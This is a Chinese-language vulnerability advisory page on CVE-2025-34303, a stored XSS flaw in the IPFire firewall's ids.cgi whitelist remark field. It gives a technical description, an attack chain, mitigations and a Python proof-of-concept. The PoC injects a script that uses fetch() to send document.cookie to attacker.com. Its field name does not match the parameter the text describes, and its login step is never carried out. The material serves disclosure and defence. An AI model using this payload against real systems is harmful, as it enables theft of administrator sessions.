IPBUF安全漏洞报告
English
CVE-2025-34303 CVSS 5.4 中危

CVE-2025-34303 IPFire防火墙存储型XSS漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-34303
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
IPFire

相关标签

存储型XSSIPFire防火墙CVE-2025-34303Web应用安全CGI脚本漏洞跨站脚本攻击

漏洞概述

CVE-2025-34303是IPFire防火墙软件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响IPFire 2.29(Core Update 198)之前的所有版本。漏洞源于ids.cgi模块在处理白名单主机添加功能时,对用户输入的IGNORED_ENTRY_REMARK参数值未进行充分的输入验证和安全编码。攻击者利用该漏洞可以在IGNORED_ENTRY_REMARK字段中注入任意JavaScript脚本代码,这些恶意代码会被永久存储在系统中。当其他用户查看白名单主机列表时,注入的恶意脚本会在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。由于该漏洞需要低权限认证用户身份,且需要用户交互才能触发,因此CVSS评分仅为5.4,但实际危害不容忽视。

技术细节

IPFire是一个基于Linux的开源防火墙发行版,其web管理界面通过CGI脚本提供配置功能。在ids.cgi模块中,存在白名单主机管理功能,允许管理员将特定主机添加到入侵检测系统的白名单中。该功能的实现存在安全缺陷:当用户通过HTTP POST请求提交白名单主机信息时,IGNORED_ENTRY_REMARK参数用于指定该条目的备注说明。然而,后端代码直接将此参数值存入数据库,未进行任何HTML转义或JavaScript过滤处理。随后,当管理员或其他用户通过web界面查看白名单列表时,这些未经过滤的数据被直接渲染到HTML页面中。攻击者可以利用此漏洞注入包含<script>标签的JavaScript代码,或使用事件处理器(如onerror、onload等)触发脚本执行。由于数据存储在服务器端,所有访问该页面的用户都会受到攻击,攻击影响范围扩大。攻击者可通过此漏洞窃取管理员会话cookie、修改页面内容进行钓鱼、或利用管理员权限执行进一步的系统攻击。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标系统运行IPFire防火墙,并确定其版本低于2.29 Core Update 198。可通过端口扫描、banner抓取或访问web管理界面确认版本信息。
STEP 2
认证阶段
攻击者获取IPFire web管理界面的有效低权限账号。可以通过暴力破解、默认凭证、钓鱼攻击或社工手段获取凭据。拥有PR:L(低权限)即可利用此漏洞。
STEP 3
漏洞利用
攻击者构造恶意HTTP POST请求,访问/cgi-bin/ids.cgi接口,在IGNORED_ENTRY_REMARK参数中注入XSS payload(如<script>标签或事件处理器)。数据被存储到数据库中。
STEP 4
触发阶段
受害者(管理员或其他用户)访问ids.cgi页面查看白名单主机列表时,存储的恶意脚本被浏览器解析执行。攻击者可窃取会话cookie、劫持会话或进行进一步攻击。
STEP 5
持久化控制
由于是存储型XSS,恶意代码持久存在于服务器端。只要数据库中的记录不被删除,每次访问都会触发攻击,攻击者可持续收集受害者的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-34303 Stored XSS PoC # Target: IPFire < 2.29 Core Update 198 # Attack Vector: IGNORED_ENTRY_REMARK parameter in ids.cgi TARGET_URL = "http://target-ipfire:444/cgi-bin/ids.cgi" USERNAME = "admin" PASSWORD = "password" # XSS payload - steals session cookies XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit(): """ This PoC demonstrates the stored XSS vulnerability in IPFire's ids.cgi The attacker injects malicious JavaScript through the IGNORED_ENTRY_REMARK parameter when adding a whitelisted host. Steps: 1. Authenticate to IPFire web interface 2. Send POST request to /cgi-bin/ids.cgi with crafted IGNORED_ENTRY_REMARK 3. When any user views the whitelist, the XSS payload executes """ session = requests.Session() # Step 1: Authentication login_data = { 'username': USERNAME, 'password': PASSWORD } # Note: Actual login endpoint may vary based on IPFire version # Step 2: Inject XSS via IGNORED_ENTRY_REMARK parameter exploit_data = { 'ACTION': 'add_whitelist', # or appropriate action identifier 'HOST_IP': '192.168.1.100', 'IGNORE_ENTRY_REMARK': XSS_PAYLOAD } response = session.post(TARGET_URL, data=exploit_data, verify=False) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when whitelist is viewed") else: print("[-] Exploitation failed") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit()

影响范围

IPFire < 2.29 Core Update 198

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用ids.cgi模块的白名单功能;2)部署WAF规则过滤包含script标签和事件处理器属性的请求;3)限制web管理界面的访问来源,仅允许受信任的IP地址访问;4)提醒用户不要点击可疑链接,定期清理浏览器cookie和缓存;5)监控日志中的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表